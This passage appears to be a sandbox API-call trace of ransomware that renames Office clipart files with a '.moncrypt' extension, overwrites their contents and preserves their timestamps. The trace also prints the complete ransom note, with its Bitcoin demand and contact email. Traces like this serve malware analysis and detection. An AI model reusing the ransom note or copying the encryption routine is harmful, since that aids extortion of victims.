lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.539] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.540] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.540] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN00790_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.540] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.540] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.540] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF", dwFileAttributes=0x20) returned 1 [0059.543] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.543] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.moncrypt")) returned 1 [0059.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.544] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.544] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1634 [0059.544] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.544] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1634, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1634, lpOverlapped=0x0) returned 1 [0059.546] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.546] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.546] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.546] GlobalUnlock (hMem=0x44000c) returned 0 [0059.546] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.546] GlobalUnlock (hMem=0x440004) returned 0 [0059.546] GlobalLock (hMem=0x440004) returned 0x550170 [0059.546] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.546] GlobalUnlock (hMem=0x440004) returned 0 [0059.546] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.546] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1650, lpOverlapped=0x0) returned 1 [0059.547] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.547] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.558] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.558] CloseHandle (hObject=0x188) returned 1 [0059.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.559] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.559] CloseHandle (hObject=0x188) returned 1 [0059.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.560] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.560] GlobalLock (hMem=0x440004) returned 0x550170 [0059.560] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.560] GlobalUnlock (hMem=0x440004) returned 0 [0059.560] GlobalLock (hMem=0x440004) returned 0x550170 [0059.560] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.560] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.560] GlobalUnlock (hMem=0x440004) returned 0 [0059.560] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.560] GlobalUnlock (hMem=0x44000c) returned 0 [0059.560] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.560] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.560] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.560] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.561] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.561] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.561] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.561] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.561] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.561] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.561] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.561] CloseHandle (hObject=0x188) returned 1 [0059.561] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0059.561] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.561] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.561] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.561] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.561] GlobalUnlock (hMem=0x44000c) returned 0 [0059.562] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.562] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.562] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.562] GlobalUnlock (hMem=0x44000c) returned 0 [0059.562] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.562] GlobalUnlock (hMem=0x440004) returned 0 [0059.562] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.562] CharLowerBuffW (in: lpsz="AN00853_.WMF", cchLength=0xc | out: lpsz="an00853_.wmf") returned 0xc [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.563] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN00853_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.563] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.563] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.563] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.563] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF", dwFileAttributes=0x20) returned 1 [0059.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.moncrypt")) returned 1 [0059.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.565] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.565] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x5062 [0059.565] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.565] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0059.567] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.567] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.568] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.568] GlobalUnlock (hMem=0x44000c) returned 0 [0059.568] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.568] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.568] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.568] GlobalUnlock (hMem=0x44000c) returned 0 [0059.568] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.568] GlobalLock (hMem=0x44000c) returned 0x55db88 [0059.568] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.568] GlobalUnlock (hMem=0x440004) returned 0 [0059.568] GlobalHandle (pMem=0x55db88) returned 0x44000c [0059.568] GlobalUnlock (hMem=0x44000c) returned 0 [0059.568] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.568] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.568] GlobalUnlock (hMem=0x44000c) returned 0 [0059.568] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0059.568] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.568] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.568] GlobalUnlock (hMem=0x44000c) returned 0 [0059.568] ReadFile (in: hFile=0x188, lpBuffer=0x1e390f8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0059.568] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.569] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0059.569] SetFilePointer (in: hFile=0x188, lDistanceToMove=20578, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x5062 [0059.569] WriteFile (in: hFile=0x188, lpBuffer=0x1e390f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e390f8*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0059.569] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.570] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.581] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.581] CloseHandle (hObject=0x188) returned 1 [0059.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.582] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.582] CloseHandle (hObject=0x188) returned 1 [0059.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.583] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.583] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.583] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.583] GlobalUnlock (hMem=0x44000c) returned 0 [0059.583] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.583] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.583] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.583] GlobalUnlock (hMem=0x44000c) returned 0 [0059.583] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.583] GlobalUnlock 